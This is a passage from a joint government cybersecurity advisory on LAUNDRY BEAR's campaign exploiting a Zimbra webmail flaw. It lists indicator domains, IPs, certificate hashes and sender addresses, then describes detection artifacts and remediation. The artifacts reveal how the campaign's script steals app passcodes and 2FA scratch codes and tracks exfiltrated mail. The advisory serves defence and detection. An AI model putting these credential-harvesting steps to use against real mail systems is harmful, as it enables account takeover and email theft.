<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
